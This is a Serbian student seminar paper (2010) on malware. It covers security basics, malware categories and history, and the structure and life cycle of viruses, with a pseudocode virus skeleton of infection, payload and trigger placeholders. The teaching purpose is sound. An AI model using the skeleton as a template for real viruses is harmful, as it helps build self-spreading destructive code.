72
Zlonamerni programi - SEMINARSKI RAD - Predmet: Bezbednost u rač. mreţama Student: Goran Panić Nastavnik: dr Dušan Surla Broj indeksa: 11D/2009 Novi Sad, 2010. Univerzitet u Novom Sadu Prirodno matematički fakultet Departman za matematiku i informatiku

Zlonamerni Programi - Goran Panić

Embed Size (px)

DESCRIPTION

Zlonamerni Programi - Goran Panić

Citation preview

Page 1: Zlonamerni Programi - Goran Panić

Zlonamerni programi

- SEMINARSKI RAD -

Predmet: Bezbednost u rač. mreţama Student: Goran Panić

Nastavnik: dr Dušan Surla Broj indeksa: 11D/2009

Novi Sad, 2010.

Univerzitet u Novom Sadu

Prirodno – matematički fakultet

Departman za matematiku i informatiku

Page 2: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 2

ZADATAK SEMINARSKOG RADA

Obraditi oblast koja se bavi kompjuterskim virusima, crvima, trojanskim konjima i ostalim zlonamernim programima. Analizirati načine sprečavanja njihovog infiltriranja u sistem i metode borbe u slučaju prodora.

Cilj rada nije obučavanje korisnika kako da piše zlonameran program, već da omogući šire razumevanje problema i raspoloţivih metoda zaštite.

Page 3: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 3

SADRŢAJ

1. UVOD ..................................................................................................................... 5

1.1 Kriptografija....................................................................................................... 5

1.2 Aplikacije mreţne bezbednosti ......................................................................... 6

1.3 Sistemska bezbednost ...................................................................................... 8

2. ZLONAMERNI PROGRAMI ................................................................................. 10

2.1 Podela zlonamernih programa ........................................................................ 10

2.2 Istorijat ............................................................................................................ 12

3. VIRUSI ................................................................................................................. 17

3.1 DOS i Windows virusi ..................................................................................... 19

3.2 Linux virusi ...................................................................................................... 21

3.3 Makro virusi .................................................................................................... 22

3.4 Skript virusi ..................................................................................................... 23

3.5 Destruktivnost virusa ...................................................................................... 23

4. CRVI ..................................................................................................................... 25

4.1 Poznati crvi ..................................................................................................... 26

5. TROJANSKI KONJI .............................................................................................. 29

5.1 Login ............................................................................................................... 30

5.2 Backdoor ........................................................................................................ 31

5.3 Joke ................................................................................................................ 31

5.4 NetBus alatka ................................................................................................. 32

6. PROBLEMATIČNE KOMPONENTE .................................................................... 34

6.1 Java skript....................................................................................................... 34

6.2 ActiveX kontrole .............................................................................................. 35

6.3 VB skript ......................................................................................................... 35

7. PARAZITSKI PROGRAMI .................................................................................... 37

7.1 Adware ........................................................................................................... 37

7.2 Spyware .......................................................................................................... 37

7.3 Tajne mreţe .................................................................................................... 38

7.4 Detekcija i uklanjanje parazitskih programa .................................................... 39

8. ROOTKIT ............................................................................................................. 40

8.1 Podela rootkit alata ......................................................................................... 40

8.2 Linux ............................................................................................................... 41

Page 4: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 4

8.3 Windows rootkit .............................................................................................. 41

8.4 Detekcija i uklanjanje rootkit alata ................................................................... 42

9. ZAŠTITA OD ZLONAMERNIH PROGRAMA ....................................................... 44

9.1 Podela antivirusnih programa ......................................................................... 44

9.2 Odabir antivirusnog alata ................................................................................ 45

10. INTERNET SECURITY PAKETI......................................................................... 47

10.1 Kaspersky Internet Security 2010 ................................................................. 47

10.2 AVG Internet Security 8.5 ............................................................................. 49

10.3 BitDefender Internet Security 2009 ............................................................... 50

10.4 ESET NOD32 Smart Security ....................................................................... 52

10.5 Norton Internet Security 2009 ....................................................................... 53

10.6 F-Secure Internet Security 2009 ................................................................... 54

10.7 Uporedne karakteristike ................................................................................ 56

11. PRIMERI KODA ................................................................................................. 57

11.1 Inicijalna klasa .............................................................................................. 57

11.2 Onesposobljavanje zaštite ............................................................................ 59

11.3 Širenje infekcije po sistemu .......................................................................... 60

11.4 Upotreba elektronske pošte kao sistema prenosa ........................................ 61

11.5 Potpisivanje – Registry baza......................................................................... 63

11.6 Destruktivno ponašanje ................................................................................ 64

11.7 Preporuke ..................................................................................................... 65

12. ZAKLJUČAK....................................................................................................... 66

13. LITERATURA ..................................................................................................... 68

Reference ............................................................................................................. 68

Web stranice ......................................................................................................... 68

Page 5: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 5

1. UVOD

Kolekciju alata dizajniranu da zaštiti podatke na računaru i spreči napade hakera nazivamo alatima za računarsku bezbednost (engl. Computer security). Zaštita podataka tokom prenosa putem mreţe predstavlja mreţnu bezbednost (engl. Network security). Ne moţe se povući jasna granica izmeĎu ove dve forme zaštite.

OSI arhitektura predstavlja način u organizovanju pruţanja bezbednosti. Fokusira se na bezbednost od napada, bezbednosne mehanizme i bezbednosne servise.

Bilo kakva radnja koja ima za cilj da ugrozi bezbednost tuĎih informacija predstavlja bezbednosni napad (engl. Security Attacks). Bezbednosni napadi se mogu podeliti na:

Pasivne napade – analiziranje saobraćaja

Aktivne napade – aktivno menjanje sadrţine podataka koji se prate

Radi povećanja sigurnosti obrade podataka i prenosa informacija u nekom sistemu, koristi se usluga bezbednosnih servisa (engl. Security service). Ona treba da obezbedi odgovor na bezbednosni napad i iskoristi bezbednosne mehanizme (mehanizmi dizainirani za otkrivanje, prevenciju ili oporavak od sigurnosnog napada) u cilju odbrane.

Knjiga (Stallings, 2007) se bavi problemom mreţne bezbednosti. Celokupna mreţna (internet) bezbednost se u knjizi deli na tri oblasti:

Kriptografija – kriptovanje, ključevi, autentifikacija poruka …

Aplikacije mreţne zaštite – aplikacije za autentifikaciju, e-mail

bazbednost, IP bezbednost , Web bezbednost, upravljanje mreţnom besbednosti ...

Sistemska zaštita – upadi, maliciozni programi, firewall ...

1.1 Kriptografija

U slučaju prenosa poverljive poruke na udaljenu lokaciju, korisnik i primalac ne mogu biti sasvim sigurni da poruka pri prenosu neće biti čitana ili njen sadrţaj menjan. Jedino što preostaje u ovom slučaju je pokušaj zaštite poruke, kako bi bila napadaču nečitljiva tokom njenog prenosa.

Kriptografija je tehnika koja se koristi u cilju obezbeĎivanja tajnosti poruka. Kriptografski algoritam predstavlja skup dve matematičke funkcije: funkcije

šifrovanja i funkcije dešifrovanja.

Pošiljalac kriptuje poruku uz pomoć algoritma za kriptovanje i ključa, a tako kriptovana poruka se prenosi preko mreţe, sve do primaoca. Primalac koristi algoritam za dekriptovanje poruke i svoj ključ, da bi poruku dekriptovao i time doveo u stanje pre kriptovanja. Ukoliko neko presretne poruku koja se šalje, neće biti u mogućnosti da pročita njen sadrţaj, pošto je šifrovan.

Page 6: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 6

Slika 1.1 Pojednostavljen model šifrovanja i dešifrovanja

poruke – preuzeto iz (Stallings, 2007)

Algoritmi za šifrovanje mogu biti: tajni (nema kontrole kvaliteta, slaba sigurnost) i javni (sigurnost se postiţe ključevima). Javni algoritmi se dalje mogu podeliti na:

Simetrične algoritme – Ključ za dešifrovanje se moţe izračunati na osnovu

ključa za šifrovanje i obrnuto, a najčešće su ova dva ključa jednaka. Pošiljalac i primalac se moraju dogovoriti o korišćenom ključu pre šifrovane komunikacije.

Asimetrične algoritme – Ključ za šifrovanje se razlikuje od ključa za

dešifrovanje, koji se ne moţe u razumnom vremenu izračunati na osnovu ključa za šifrovanje. Ključ za šifrovanje je najčešće “javni ključ”, a ključ za dešifrovanje “tajni ključ”.

Digitalni potpis (engl. Digital Signatures) sluţi za utvrĎivanje besprekornosti informacije i za identifikaciju pošiljaoca. Bez pomoći drugih alata nije u stanju da osigura tajnost informacije.

1.2 Aplikacije mreţne bezbednosti

Aplikacije za autentifikaciju spadaju u grupu aplikacija koje se bave

mreţnom bezbednosti.

Kerberos je računarski mreţni protokol za potvrdu identiteta, koji omogućava komunikaciju preko čvorova koji nisu bezbedni na mreţi. Zasniva se na simetričnoj kriptografiji i zahteva pristup poverljive treće strane, kojoj čvorovi dokazuju svoj identitet po principu klijent – server.

Standard X.509 sluţi za definisanje infrastrukture javnih ključeva. On odreĎuje standardni format javnog kluča, listu opoziva sertifikata, atribute sertifikata i putanju za proveru validnosti algoritma.

U virtualno distribuiranom okruţenju elektronska pošta je najkorišćenija mreţno bazirana aplikacija. Zbog toga se bezbednosti elektronske pošte (engl.

Electronic Mail Security) posvećuje posebna paţnja.

Pretty Good Privacy je (engl. open-source), besplatno dostupan programski paket za e-mail bezbednost, kreiran od strane Phil Zimmermann-a. Podrţava autentifikaciju poruke uz pomoć digitalnog potpisa, simetričnu blok enkripciju, ZIP

Page 7: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 7

algoritam za kompresiju, Radix-64 šemu za kriptovanje, segmentaciju i ponovno primanje e-mail-a.

MIME (engl. Multipurpose Internet Mail Extensions) je ekstenzija za RFC 822 framework, koja je namenjena za rešavanje problema upotrebe SMTProtokola ili nekih drugih protokola za e-mail. S/MIME predstavlja unapredjenje bezbednosti za MIME Internet e-mail standard, baziran na tehnologiji RSA. Ovaj internet standard uključuje i neke PGP funkcije.

IP Bezbednost (engl. IPSec) predstavlja mogućnost koja se moţe dodati

IPv4 i IPv6 verzijama internet protokola putem dodatnih zahteva. IPSec obuhvata tri funkcionalna oblasti: autentifikacija, poverljivost i upravljanje ključevima.

Zbog svoje transparentnosti web predstavlja savršenu metu za razne vrste bezbednosnih napada, zato je potrebno obratiti paţnju i na segment Web bezbednosti (engl. Web Security).

SSL i TSL protokoli proširuju standardni http protokol u https protokol za

bezbednu komunikaciju. Secure socket layer (SSL) pruţa bezbednosni servis izmeĎu TCP i aplikacije koja koristi TCP. SSL protokol nije poseban protokol, nego dva spojena protokola: Record Protocol i tri specifična protokola (Handshake Protocol / Alert Protocol / Change Cipher Spec Protocol).

Slika 1.2 Izgled SSL protokola – preuzeto iz (Stallings, 2007)

SET (engl. Secure electronic transaction) je standard koji sluţi za protekciju

transakcija sa kreditnim karticama na Internetu. Ovaj standard pruţa sledeće uluge:

ObezbeĎuje siguran kanal komunikacije izmeĎu svih strana uključenih u komunikaciju.

ObezbeĎuje poverenje upotrebom X.509v3 digitalnog sertifikata.

ObezbeĎuje privatnost jer je infrastruktura dostupna samo za strane u transakciji.

Jedna od osnovnih osobina mreţe je njen rast. Vremenom mreţe postanu toliko velike da ih je nemoguće odrţavati ako sistem odrţavanja ne koristi

Page 8: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 8

automatizovane alate za upravljanje mreţnom bezbednosti (engl. Network

Management Security).

SNMP (engl. Simple Network Managment Protocol) predstavlja najrasprostranjeniji standard toga tipa i uključuje kolekciju alata za praćenje i kontrolu rada mreţe. Model za upravljanje mreţom koji se koristi u SNMP-u obuhvata sledeće ključne elemente:

Upravljanje stanicama (tipičan samostalni ureĎaj koji mora biti sposoban da se implementira na zajednički sistem).

Upravljanje agentima (upravlja informacijama iz stanica).

Upravljanje informacionim bazama

Upravljanje mreţnim protokolom (stanice i agenti su povezani).

1.3 Sistemska bezbednost

Neautorizovani upad u kompjuterski sistem ili mreţu, predstavlja jednu od najozbiljnijih pretnji u kompjuterskoj bezbednosti.

Sigurno je da i najbolji sistem za sprečavanje upada nece uspeti , stoga treba razviti drugu liniju odbrane sistema, detekciju upada. Detekcija upada sistema mora

biti razvijena tako da obezbedi rano upozorenje i odbranu sistema u cilju prevencije i minimizacije štete. Otkrivanje upada podrazumeva otkrivanje neuobičajenih obrazaca aktivnosti ili obrazaca aktivnosti koji se mogu povezati sa upadom.

Cilj upada na neki sistem je pristupanje tom sistemu ili povećanje privilegija na istom. Kolekcija korisničkih imena i lozinki mora se čuvati negde u sistemu, meĎutim one predstavljaju čestu metu napada.

Upravljanje šiframa (engl. Password menagement) predstavlja vaţan element prevencije upada, a sluţi onemogućavanju neautorizovanih korisnika da doĎu do prava pristupa. Tako, zaštita lozinke predstavlja prvu liniju odbrane sistema od uljeza. U multi-korisničkim sistemima zahteva se da korisnik obezbedi pored korisničkog imena ili identifikatora (ID-a) i lozinku sistema. Lozinka sluţi za proveru pojedinačne prijave na sistem, dok ID obezbeĎuje sigurnost, tako što:

odreĎuje da li je korisnik ovlašćen da pristupi sistemu;

odreĎuje privilegije dodeljene korisniku;

koristi se za kontrolnu pristupa Mnoge organizacije zbog prirode posla moraju da obezbede dostupnost

podataka, a samim tim i zaštitu od nekontrolisanog pristupa. Da bi se sprečio nekontrolisani protok podataka, u mreţu se ubacuje inteligentna barijera, Firewall [58], koju mreţni saobraćaj mora preći u oba smera.

Kontrola pristupa podacima odlučuje o pravu pristupa. Najčešće je realizovana preko matrice pristupa i definiše ko ima pravo vršenja radnje, nad kojim objektom i sa kakvim privilegijama (npr. pravo čitanja).

Firewall moţe biti dizajniran da radi kao filter na nivou IP paketa ili da operiše sa višim nivoima protokola.

Page 9: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 9

Verovatno najčuveniju grupu tehnika, koje pripadaju oblasti mreţne bezbednosti, predstavljaju zlonamerni programi (maliciozni softver). Zlonamerni programi se namerno ubacuju u računar ili neki drugi ureĎaj, sa namerom nanošenja štete sistemu.

Ovom grupom alata i zaštitom od njih, se bavi ovaj rad.

Page 10: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 10

2. ZLONAMERNI PROGRAMI

Područje računarske sigurnosti koje se bavi zlonamernim programima često

u medijima stvara veliku paţnju. Obaveštenja koja se prosleĎuju na taj način, a govore o zlonamernim programima su neretko preuveličana i netačna. U ovom poglavlju radi boljeg razumevanja ovakvih programa definisane su različite kategorije zlonamernog softvera sa njihovim karakteristikama i mogućnostima zaštite od istih.

U zlonameran program (engl. malware, malicious software) ubraja se svaki program napravljen u nameri da na bilo koji način ošteti računar ili oteţa (onemogući) njegovo korišćenje.

Štetu koju zlonamerni programi mogu izazivati na nekom sistemu delimo u tri osnovne kategorije:

Namerna šteta uzrokovana izvršenjem destruktivnog dela koda samog

programa. Ova šteta ne postoji uvek (dobroćudni virusi), a kada postoji svodi se na brisanje ili izmenu podataka u sistemu, a neretko i na fizička oštećenja sistema (prepisivanje BIOS-a).

Slučajna šteta, koja nastaje pri pokušaju instalacije zlonamernog

programa ili njegovog skrivanja u sistemu. Najčešće dovodi do uništenja podataka na računaru usled loše napisanog koda takvog programa.

Propratna šteta, koja je uzrokovana delovanjem virusa ili crva, a manifestuje se gubitkom memorijskog prostora ili zagušenjem veze i servisa. U ovaj tip štete spada i šteta od otkrivanja poverljivih informacija, a koju najčešće izazivaju trojanski konji i špijunski programi.

Ponekad se programi, koji inače sluţe u korisne (dobronamerne) svrhe, mogu upotrebiti u zlonamerne svrhe, što dodatno oteţava raspoznavanje i zaštitu.

2.1 Podela zlonamernih programa

Postoje više tipova zlonamernih programa, a najčešće se grupišu na osnovu načina prenosa:

Grupisanje ne osnovu nosioca

Zahtevaju nosioca, tačnije program u kome će biti sakriveni (virusi, trojanski konji, logičke bombe, klopke)

Samostalni, ne zahtevaju nosioca (crvi, špijunski programi).

Grupisanje na osnovu repliciranja

Repliciraju se (virusi, crvi)

Ne repliciraju se (trojanski konji, logičke bombe).

Page 11: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 11

VIRUSIŠPIJUNSKI

PROGRAMI

LOGIČKE

BOMBE

TROJANSKI

KONJI

KLOPKE

ROOTKIT

CRVI

POTREBAN

NOSILAC

SAMOSTALNI

ZLONAMERNI

PROGRAMI

REPLICIRAJU SE

Slika 2.1 Podela zlonamernih programa

Virus [1] je program koji moţe inficirati druge programe, tako što u njih

ubacuje svoju kopiju, koja ih inficira i u stanju je da se dalje širi. Pod infekcijom se u računarskoj terminologiji smatra promena toka pokrenutog programa. Bitno je napomenuti da virusi ne moraju uvek da deluju destruktivno, već samo kada su tako programirani. Osnovna osobina virusa, njihovo repliciranje, omogućava da se oni brzo šire i teško uklanjaju iz zaraţenog sistema i predstavljaju najopasniju vrstu zlonamernih programa.

Većina malicioznih programa sa kojima se danas korisnik računara susreće predstavljaju uglavnom crve [2]. Crvi predstavljaju zlonamerne programe koji imaju mogućnost širenja (repliciranja) na druge računare unutar mreţe, a da se pri tom ne infiltriraju u druge programe. Crv se moţe definisati kao virus koji ne poseduje parazitske osobine, već se samostalno replicira.

Trojanske konje [3] vrlo je jednostavno razlikovati od virusa i crva, oni se ne repliciranju sami već je potrebna eksplicitna akcija korisnika. Obično se distribuiraju kao deo nekog programa, za koji korisnik ne zna da postoji, a često se mogu pronaći i kao dodatak elektronskoj pošti. Najčešće aktivnosti trojanaca su brisanje podataka i kraĎa poverljivih informacija od korisnika.

Page 12: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 12

Logička bomba [4] (engl. logical bomb) je zlonameran kod ugraĎen u neki

koristan program koji će se aktivirati kada se ispune odgovarajući uslovi (recimo u odreĎeno vreme - vremenska bomba). Prenosi se kao deo trojanskog konja ili se moţe ubaciti kao deo programa. Mogućnosti su praktično neograničene i zavise samo od mašte autora koda.

Zombi (engl. zombie) je program koji potajno preuzima kontrolu nad drugim umreţenim računarom. Nakon toga ga koristi da indirektno lansira napad. Često se koriste za lansiranje distribuiranog napad odbijanjem usluga [5] (engl. distributed denial of service – DDoS attacks). Njegova infiltracija u sistem se najčešće zasniva na korišćenju poznatih propusta u mreţnim sistemima.

Klopka (engl. trap door). Autor programa moţe slučajno ili namerno ostaviti

prazna mesta u svom kodu (klopku). Uljez koji zna za ta mesta moţe da podmetne svoj kod i time ostvari neku dobit. Osim toga, autor programa moţe izmeniti deo koda tako da se izmena ne moţe jednostavno primetiti. Na primer, zaokruţivanje iznosa transakcije na neku celobrojnu vrednost u odreĎenim trenucima, predstavlja klopku ukoliko se ostatak zaokruţivanja prenosi na račun programera. Klopke se teško otkrivaju, jer treba analizirati celokupan kod sumnjivog programa.

Špijunski programi [6] (engl. spyware) je neţeljeni program, instaliran na

računaru bez znanja ili odobrenja korisnika, koji prikuplja informacije o aktivnostima korisnika, lozinkama, poverljivim podacima, finansijskim transakcijama... U špijunske programe mogu se ubrojati i trojanski konji iz kategorije kradljivaca informacija (npr. keylogger).

Reklamni špijunski programi [7] (engl. adware) informacije prikupljaju i šalju kompanijama koje se bave posebnom vrstom marketinga zasnovanom na praćenju vaših navika pri pretraţivanju Web-a i na oglašavanju (engl. behavioural marketing).

Rootkit [8] predstavlja komplet alata koji omogućavaju napadaču da odrţava

pristup sistemu. Napadač na ovaj način stiče pravo daljinskog upravljanja tuĎim računarom, a da legitimni korisnik toga nije ni svestan.

2.2 Istorijat

Prvi programi koji su imali za cilj da nanesu neku štetu, dosta se razlikuju od današnjih programa takve namene.

Virus Brain [9] bio je prvi zlonamerni program, koji je uspeo da se raširi i inficira računare. Pojavio se 1986. godine i predstavlja najstariji poznati PC virus. U to vreme jedini medij koji su virusi mogli da zaraze bila je disketa, pošto tvrdi diskovi nisu bili dostupni prosečnim korisnicima. Brain je u boot sektoru (sektor koji se učitava prvi pri podizanju računara i predstavlja idealno mesto za postavljanje virusa) upisivao sebe samog dok je izvršni sadrţaj premeštan na prazan prostor diskete. Taj prostor je zatim proglašavan neispravnim, da bi se sprečilo prepisivanje od stane operativnog sistema i time omogućilo dalje širenje virusa…

Page 13: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 13

Slika 2.2 Brain virus – preuzeto iz [9]

Ovaj virus nije nanosio nikakvu štetu, ako izuzmemo zauzimanje memorijskog prostora na disketi, već se samo širio. Zanimljiva činjenica vezana za Brain virus je da se u njegovom telu mogla pronaći potpuna adresa kreatora koda.

Welcome to the Dungeon © 1986 Basit * Amjad (pvt) Ltd. BRAIN COMPUTER

SERVICES 730 NIZAM BLOCK ALLAMA IQBAL TOWN LAHORE-PAKISTAN PHONE:

430791,443248,280530. Beware of this VIRUS.... Contact us for

vaccination..

Pojava Brain virusa dovodi do pojave prve grupe virusa nazvane Boot-sector infector (BSI) virusi. BSI virusi su svi virusi koji zamenjuju izvorni sadrţaj boot sektora na disketi ili tvrdom disku u zavisnosti od tipa virusa.

Najpoznatiji predstavnik ove grupe virusa je Stoned virus [10], koji se pojavio 1990. godine, a radio je na sličnom principu kao Brain virus. Virus je bio dizajniran bez štetne nosive komponente, a računar zaraţen ovim virusom povremeno je ispisivao poruku:

Your PC is now stoned.

Iste godine otkriven je Cascade virus [11], prvi virus koji je upotrebljavao enkripciju kao jednostavan oblik polimorfizma. Polimorfizam predstavlja sposobnost zlonamernog programa da promeni izgled izvršnog koda, najčešće enkripcijom ili

Page 14: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 14

promenom redosleda koda. Ova osobina oteţava detekciju takvog programa od strane antivirusnih alata.

Sa pojavom prvih virusa dolazi do pojave novog vida zabave. Izmišljena je nova igra koja dobija ime “Ratovi u jezgru”. Ova igra sastoji se od pisanja programa koji se istovremeno pokreću na jednom računaru, a cilj je preţivljavanje i uništavanje konkurentnih programa. Programi imaju pravo replikacije u memoriji i prepisivanja druge memorije.

Ova igra dovela je do zaključka da manji i jednostavniji programi koji se brţe izvršavaju imaju veću šansu za uspeh. To se odrazilo na kreiranje zlonamernih programa i njihovu kompleksnost.

Morris Worm [12], koji je dobio ime po autoru, pojavio se 1988. godine i predstavlja jednog od najpoznatijih crva. Ovaj crv napadao je računare sa UNIX operativnim sistemom, a prenosio se putem Intreneta, koji je u to vreme bio vrlo zatvoren, te se malo paţnje posvećivalo njegovoj bezbednosti. Iz tog razloga ovaj crv je uspeo da putem opterećenja mreţe blokira mnoge sisteme.

Autor ovog crva Robert Moris je bio prvi osuĎenik u SAD zbog zloupotrebe računara, a dobio je kaznu od 3 godine zatvora, koja je uslovno zamenjena sa 400 sati društveno korisnog rada i 10 500$ novčane kazne.

Pojava ovog crva izazvala je još jedan izuzetak, osnovana je organizacija CERT [13] (engl. Computer Emergency Response Team), ključna organizacija za

računarsku sigurnost i incidente.

Prvi poznati trojanski konj pod imenom AIDS [14], [15] pojavio se 1990.

godine, a predstavljao je metodu iznuĎivanja novca za spašavanje korisnih podataka. Posle pokretanja programa kriptovao bi se sadrţaj hard-diska, a potom obavestio korisnik da mora platiti licencu za program ukoliko ţeli da povrati svoje podatke.

Slika 2.3 AIDS virus na delu – preuzeto iz [15]

Page 15: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 15

EICAR [16] (engl. European Institute for Computer Anti-virus Research) je

osnovan 1990. godine i postaje glavna organizacija za saradnju izmeĎu antivirusnih proizvoĎača i akademske zajednice. Samo godinu dana kasnije na trţištu je postojao veći broj antivirusnih program, ali je i broj poznatih virusa narastao na 1000.

Godine 1992. javlja se jedan vrlo zanimljiv programski paket VCL [17] (engl.

Virus Creation Laboratory). Paket je imao za cilj da svakom korisniku, bez obzira na znanje, omogući da napravi svoj virus.

Slika 2.4 Izgled VCL alata – preuzeto iz [17]

Vremenom je broj ovakvih paketa porastao, meĎutim virusi koje su oni generisali bili su vrlo ograničeni, čak ni oni sa ugraĎenim polimorfizmom (TPE, DAME) nisu ostvarili veći učinak.

Sledeća grupa zlonamernih programa koja se pojavila bili su makro virusi. Makro virus upotrebljava programski kod implementiran u različitim programskim paketima, koji je namenjen za olakšavanje raznih funkcija. Ovi virusi najčešće napadaju Microsoft Office programski paket.

WM / Concept se smatra prvim rasprostranjenim makro virusom, a njegov uspeh povukao je za sobom mnoštvo drugih makro virusa. Virus je na zaraţenom računaru ispisivao poruku:

That’s enough to prove my point

Pošto makro virusi dolaze sa otvorenim kodom, kasnija promena od strane drugog lica predstavlja prilično jednostavan posao. Oni ne inficiraju izvršni datoteku, već dokumente za različite programe, iz tog razloga oni mogu delovati na različitim platformama.

Page 16: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 16

Pored svih ovih problema sa kojima se sreće običan korisnik računara, a koji mogu biti manje ili više opasni, pojavile su se i laţne uzbune. Hoax [18] poruka predstavlja laţno upozorenje, često o nepostojećem problemu. Poruka od primaoca zahteva da pošalje upozorenje na što više adresa. Good Times hoax je predstavnik ove grupe zlonamernih poruka, a prvi put je lansiran u novembru 1994. godine.

Da zlonamerni programi mogu biti jako destruktivni, pa čak uništavati i hardver, svedoči primer CIH virusa [19]. Ovaj virus otkriven je 1998. na Taivanu.

Pored toga što uništava sve podatke sa tvrdog diska, on pokušava da upiše nove u fleš memoriju (engl. flash memory) BIOS-a ploče. Na taj način se računar trajno oštećuje i jedini način popravke je upisivanje ispravnih podataka u EEPROM, što je na pločama sa integrisanim čipom neisplativo.

Kombinacija crva is skript jezika je 2003. godine izrodila jedan u nizu zlonamernih programa sa imenom SQLSlammer [20], koji je uzrokovao zagušenje Interneta. Ovaj program pripada DoS [5] (engl. Denial of Servise) programima. DoS programi izazivaju napad na krajnjeg korisnika uskraćivanjem računarskih resursa raznim metodama. Obično ovakav napad izaziva onemogućavanje korisnika da pristupi pojedinim resursima, kao na primer nekom web servisu.

Page 17: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 17

3. VIRUSI

Virusi (engl. viruses) su verovatno najpoznatija vrsta od svog raspoloţivog

zlonamernog programa. Pojam virus u rečnik računarske terminologije uvrstio je 1983. godine profesor Frederick B. Cohen [21], sa univerziteta Juţne Kalifornije.

On je, u svojoj doktorskoj tezi 1984. godine, postavio prvu opštu definiciju virusa: ˝Definišemo kompjuterski virus kao program koji inficira ostale programe modifikujući ih tako da uključuju njegovu naprednu kopiju. Sa inficiranog područja, virus se može širiti kroz kompjuterski sistem i mrežu koristeći autorizaciju svakog korisnika, da inficira njihove programe. Svaki program koji se inficira se takođe ponaša kao virus, i stoga, infekcija raste .

Pod infekcijom se kod računarskih virusa smatra promena toka programa, koji je pokrenut. Treba zapaziti da definicija Cohen-a ne govori o destruktivnom dejstvu virusa, koji predstavlja osnovnu asocijaciju na reč virus. Česti efekti infekcije virusima su brisanje vaţnih datoteka, menjanje njihovog sadrţaja ili dovoĎenje sistema u stanje u kome ne moţe normalno da funkcioniše. Efekti fizičkog uništenja hardvera su veoma retki, ali istorija virusa beleţi i takve slučajeve (primer CIH virus).

Virusi ne koriste mreţne resurse za širenje, poput crva, ali se mogu širiti preko mreţe kao deo nekog crva. Kao i svi drugi programi koji se sami šire, virusi u svom širenju koriste sasvim legitimne funkcije, poput običnih programa, što oteţava njihovo detektovanje.

Iako slični, virusi poseduju odreĎene specifičnosti, te se tako mogu podeliti u nekoliko grupa. Najčešća klasifikacija virusa vrši se na osnovu načina napadanja i veštini skrivanja koju primenjuju. Tako razlikujemo:

Parazitski virusi (engl. parasitic virus) – ponašaju se poput parazita,

koriste izvršne datoteke za infiltraciju

Memorijski virusi (engl. memory - resident virus) – nalaze se u

operativnoj memoriji, odakle inficiraju ostale datoteke

Boot sektor virusi (engl. boot sector virus) – nalaze se u boot sektorima

diskova

Nevidljivi virusi (engl. stealth) – koriste metode prikrivanja

Polimorfni (engl. polymorphic virus) – poseduju polimorfne osobine za

promenu svog izgleda

Makro virusi (engl. macro virus) – kreiraju se na osnovu makro jezika, inficiraju dokumente programskih paketa u kojima su kreirani.

Za bolje shvatanje načina funkcionisanja virusa, neophodno je razumeti njihovu strukturu. Jedan od često korišćenih modela za opis strukture virusa sastoji se iz tri komponente:

Infekcijska komponenta – predstavlja osnovnu komponentu koja sadrţi kod

koji omogućava širenje virusa.

Page 18: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 18

Nosiva komponenta (engl. payload) – sadrţi glavnu aktivnost virusa. Ovu

komponentu ne moraju da sadrţe svi virusi („dobroćudni” virusi je nemaju), a unutar nje se definiše destruktivno ponašanje virusa.

Funkcija za okidanje (engl. triger) – definiše vreme ili neki dogaĎaj pri kojem

će biti izvršena nosiva komponenta virusa. Ukoliko ne postoji nosiva komponenta virusa, tada ne postoji ni funkcija za okidanje nosive komponente.

Primer strukture eksperimentalnog virusa:

public class Virus{

// Infekcijska komponeta

private void Infect(){

do {

file = "Iraberi bilo koji izvršni fajl";

}

while ("Fajl je inficiran" == True)

UbaciVirus(file); //Inficiranje fajla

}

// Nosiva komponenta

private void Damage(){

"Zlomameran kod"

}

// Funkcija za okidanje

private bool Trigger() {

if ("Ispunjeni uslovi okidanja") return true;

return false;

}

public Virus(){

Infect();

if (Trigger()){

Damage();

}

else{

"Kod koji program inače izvršava"

}

}

}

U toku svog postojanja, od nastanka do izvršenja, virus prolazi kroz nekoliko ţivotnih faza:

Skrivena ili uspavana faza (engl. dormant) – čekanje na dogaĎaj koji

pokreće akciju (engl. on trigger event).

Propagaciona faza (engl. propagation) – repliciranje virusa i njegova

infiltracija u druge programe.

Page 19: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 19

Faza okidanja (engl. triggering) – dolazi do nekog očekivanog dogaĎaja koji

je definisan u funkciji za okidanje, a koji dovodi do pokretanja nosive komponente virusa.

Faza izvršavanja (engl. execution) – izvršavaju se akcije definisane u nosivoj

komponenti virusa.

